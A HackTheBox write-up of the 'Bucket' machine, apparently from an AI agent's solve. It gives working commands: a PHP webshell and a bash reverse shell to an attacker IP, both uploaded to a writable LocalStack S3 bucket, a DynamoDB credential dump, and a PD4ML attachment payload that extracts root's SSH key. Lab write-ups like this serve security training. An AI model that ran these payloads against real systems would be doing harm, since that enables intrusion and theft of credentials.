HTB: Bucket Writeup
Bucket - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Bucket |
| OS | Linux |
| Difficulty | Medium |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.10.10.212 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐☆☆ (3/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐⭐☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐☆☆
Summary
Bucket is a medium-difficulty Linux machine that simulates a cloud infrastructure environment using LocalStack, an AWS service emulator. The box exposes an S3 bucket used by an Apache web server to host static content. Enumeration reveals writable S3 permissions allowing file upload and PHP execution for initial access. Lateral movement is achieved by discovering DynamoDB credentials in an unfinished web application. Privilege escalation exploits PD4ML, a Java-based HTML-to-PDF converter running as root, using a file attachment feature to exfiltrate the root SSH private key.
TL;DR: S3 enumeration → upload PHP webshell to writable bucket → RCE as www-data → DynamoDB credential leak → SSH as roy → PD4ML file attachment injection → extract root SSH key → root shell.
Reconnaissance
Port Scanning
# Initial fast scan to identify open portsnmap -p- --min-rate=1000 -T4 10.10.10.212
# Detailed service enumeration on discovered portsnmap -p22,80 -sV -sC 10.10.10.212Results:
- 22/tcp - OpenSSH (version not specified)
- 80/tcp - Apache httpd
Service Enumeration
HTTP (Port 80)
Browsing to http://10.10.10.212 revealed a redirect to bucket.htb. After adding the domain to /etc/hosts:
echo "10.10.10.212 bucket.htb" >> /etc/hostsThe site displayed an advertising platform, but images failed to load. Inspecting the HTML source revealed references to http://s3.bucket.htb/adserver/, indicating a subdomain hosting static assets.
echo "10.10.10.212 s3.bucket.htb" >> /etc/hostsProbing the subdomain revealed AWS S3-compatible headers:
curl -v http://s3.bucket.htb/Response headers included x-amz-id-2, x-amz-request-id, and x-amz-version-id, confirming an S3-compatible API endpoint. The response body returned a JSON status object indicating a running service, characteristic of LocalStack—an open-source AWS service emulator.
Vulnerability Assessment
- Open S3 Bucket: The
adserverbucket allowed unauthenticated read and write access. - PHP Execution: Apache served PHP files from the S3 bucket without authentication.
- DynamoDB Credential Exposure: An unfinished web application exposed database credentials.
- PD4ML File Attachment: A root-owned PDF generation service allowed arbitrary file attachment and exfiltration.
Initial Foothold
S3 Bucket Enumeration
LocalStack simulates AWS services locally, typically without enforcing strict authentication. The AWS CLI can interact with custom endpoints using the --endpoint-url parameter.
# Install AWS CLI if not present# (Agent used pipx-installed version due to unavailability on jump host)sudo apt install awscli
# Configure dummy credentials (LocalStack often accepts arbitrary values)aws configure# Access Key ID: test# Secret Access Key: test# Region: us-east-1# Output format: jsonList available S3 buckets:
aws --endpoint-url=http://s3.bucket.htb s3 lsOutput:
2021-XX-XX XX:XX:XX adserverList contents of the adserver bucket:
aws --endpoint-url=http://s3.bucket.htb s3 ls s3://adserverThe bucket contained index.html and image files served by the main web application.
PHP Webshell Upload
Since Apache executed PHP from this bucket, uploading a malicious PHP file would grant remote code execution.
# Create a simple webshellecho '<?php system($_GET["cmd"]); ?>' > shell.php
# Upload to the S3 bucketaws --endpoint-url=http://s3.bucket.htb s3 cp shell.php s3://adserver/Note: The agent noted that the /tmp directory was 100% full, necessitating use of /dev/shm for staging files.
After upload, the shell was accessible at http://bucket.htb/shell.php?cmd=id. To obtain an interactive shell:
# Create a reverse shell payloadecho "<?php exec('/bin/bash -c \"bash -i >& /dev/tcp/10.10.14.3/4444 0>&1 \"'); ?>" > revshell.php
# Upload the reverse shellaws --endpoint-url=http://s3.bucket.htb s3 cp revshell.php s3://adserver/Start a listener:
nc -lvnp 4444Trigger execution by browsing to http://bucket.htb/revshell.php. A reverse shell connection was received as the www-data user.
Upgrade to a fully interactive TTY:
python3 -c 'import pty;pty.spawn("/bin/bash")'# Press Ctrl+Zstty raw -echo; fgexport TERM=xtermPrivilege Escalation
Lateral Movement: www-data → roy
Exploring the filesystem revealed /var/www/bucket-app, a project directory with an Access Control List (ACL) restricting access to roy and root.
ls -la /var/www/bucket-appgetfacl /var/www/bucket-appHowever, the bucket-app project subfolder was world-readable. Inside, index.php contained code connecting to a DynamoDB instance:
$client = new DynamoDbClient([ 'profile' => 'default', 'region' => 'us-east-1', 'version' => 'latest', 'endpoint' => 'http://localhost:4566' # LocalStack default port]);DynamoDB is AWS’s NoSQL database service. LocalStack exposes it locally on port 4566. To query the database, AWS CLI credentials were configured in a writable directory (since www-data lacked a home directory):
# Create a temporary home directory in /dev/shm (due to /tmp being full)mkdir /dev/shm/awshomeexport HOME=/dev/shm/awshome
# Configure AWS CLIaws configure# (Use dummy credentials as before)List DynamoDB tables:
aws --endpoint-url=http://localhost:4566 dynamodb list-tablesOutput:
{ "TableNames": [ "users" ]}Scan the users table:
aws --endpoint-url=http://localhost:4566 dynamodb scan --table-name usersOutput (sanitized):
{ "Items": [ { "password": {"S": "n2vM-<_K_Q:.Aa2"}, "username": {"S": "Sysadm"} }, ... ]}The password n2vM-<_K_Q:.Aa2 was valid for the roy user:
su - royUser flag captured:
cat ~/user.txtPrivilege Escalation: roy → root
Enumerating running processes and listening ports:
ss -tlnpnetstat -tlnpPort 8000 was listening locally. Apache configuration files in /var/www/bucket-app indicated this application ran as root:
User rootGroup rootSSH port forwarding enabled local access:
# From attack machinessh -L 8000:127.0.0.1:8000 roy@10.10.10.212Browsing to http://localhost:8000 displayed a simple interface. Reviewing index.php:
if($_POST["action"]==="get_alerts") { $iterator = $client->getIterator('Scan', array( 'TableName' => 'alerts', 'FilterExpression' => "title = :title", 'ExpressionAttributeValues' => array(":title"=>array("S"=>"Ransomware")), )); foreach ($iterator as $item) { $name=rand(1,10000).'.html'; file_put_contents('files/'.$name,$item["data"]); } passthru("java -Xmx512m -Djava.awt.headless=true -cp pd4ml_demo.jar Pd4Cmd file:///var/www/bucket-app/files/$name 800 A4 -out files/result.pdf");}The application:
- Scans the
alertsDynamoDB table for entries withtitle = "Ransomware" - Writes the
datafield to an HTML file - Uses PD4ML (a Java HTML-to-PDF library) to convert the HTML to PDF
PD4ML supports a proprietary <pd4ml:attachment> tag that embeds files as PDF attachments. The src attribute accepts file:// URIs, enabling arbitrary file read as root.
Exploitation
The alerts table did not exist initially. Create it:
aws --endpoint-url=http://localhost:4566 dynamodb create-table \ --table-name alerts \ --attribute-definitions \ AttributeName=title,AttributeType=S \ AttributeName=data,AttributeType=S \ --key-schema \ AttributeName=title,KeyType=HASH \ AttributeName=data,KeyType=RANGE \ --provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5Insert a malicious item targeting root’s SSH private key:
aws --endpoint-url=http://localhost:4566 dynamodb put-item \ --table-name alerts \ --item '{ "title": {"S": "Ransomware"}, "data": {"S": "<pd4ml:attachment src=\"file:///root/.ssh/id_rsa\" description=\"key\" icon=\"Paperclip\"/>"} }'Trigger the conversion by sending a POST request:
curl http://localhost:8000/index.php -d 'action=get_alerts'Important: The agent noted that LocalStack and the files/ directory reset periodically, requiring the create-table → put-item → trigger → extract sequence to be executed atomically to prevent data loss mid-exploit.
Download the generated PDF:
wget http://localhost:8000/files/result.pdfOpen the PDF and extract the attachment containing /root/.ssh/id_rsa. The agent noted they extracted the key directly from the PDF’s EmbeddedFile stream since pdfdetach was unavailable on the target.
Save the extracted private key:
chmod 600 root_id_rsaCritical Note: The agent encountered a leftover /dev/shm/id_rsa from a different HTB machine (r.michaels@luanne.htb), which initially caused confusion. After removing the stale key, the correct root key was extracted.
SSH as root:
ssh -i root_id_rsa root@127.0.0.1# Or from external:ssh -i root_id_rsa root@10.10.10.212Root flag captured:
cat /root/root.txtAttack Chain Summary
Port 80 enumeration → Discover s3.bucket.htb subdomain →Identify LocalStack S3 service → Upload PHP webshell via AWS CLI →RCE as www-data → Enumerate DynamoDB on localhost:4566 →Extract credentials from 'users' table → SSH as roy (user.txt) →Discover bucket-app running as root on port 8000 →Create 'alerts' DynamoDB table → Inject PD4ML attachment payload →Exfiltrate /root/.ssh/id_rsa via PDF embedding →SSH as root (root.txt)Tools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service enumeration |
curl | HTTP enumeration and exploitation triggering |
aws (AWS CLI) | S3 bucket manipulation and DynamoDB querying |
nc (netcat) | Reverse shell listener |
ssh | Lateral movement and privilege escalation |
wget | File download |
Key Learnings
Techniques Practiced
- Cloud service enumeration: Identifying and interacting with LocalStack AWS emulation
- S3 bucket exploitation: Leveraging writable buckets for webshell upload
- NoSQL database enumeration: Extracting credentials from DynamoDB
- PDF library exploitation: Abusing PD4ML’s file attachment feature for arbitrary file read
- SSH key extraction: Leveraging file read vulnerabilities to obtain private keys
Lessons Learned
-
Virtual hosting is critical: Modern web applications often use subdomains for different services (e.g., S3-compatible endpoints). Always enumerate vhosts through header analysis, DNS queries, and source code inspection.
-
LocalStack != AWS security: Development tools like LocalStack prioritize functionality over security, often accepting unauthenticated requests or dummy credentials. Always test custom endpoints with minimal authentication.
-
ACLs vs. standard permissions: Access Control Lists can restrict directory access even when standard Unix permissions appear permissive. Use
getfaclto identify hidden restrictions. -
NoSQL injection isn’t always needed: Misconfigured NoSQL databases often allow direct enumeration without authentication. Always check for exposed management interfaces (DynamoDB on port 4566, MongoDB on 27017, etc.).
-
PDF generators are high-value targets: Libraries like PD4ML, wkhtmltopdf, and WeasyPrint have powerful features (file attachments, SSRF via
<iframe>, local file inclusion) that become dangerous when processing untrusted input as root. -
Atomic exploitation in unstable environments: When services reset periodically (as LocalStack did here), script the entire exploit chain to execute without manual intervention. The agent’s experience with the
alertstable disappearing mid-exploit highlights this need. -
Filesystem constraints matter: The
/tmppartition being full forced creative use of/dev/shmand home directories. Always verify write access and available space before staging payloads. -
Key hygiene: The agent’s encounter with a stale SSH key from another machine (
luanne.htb) demonstrates the importance of cleaning up artifacts between engagements. Always verify key ownership before use.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
This writeup drew explanatory context from the official HackTheBox writeup for Bucket, authored by felamos (Document No D21.100.115). The reference provided background on LocalStack architecture, DynamoDB table structure, and PD4ML attachment syntax. All commands, outputs, and environmental specifics reflect the agent’s actual solve.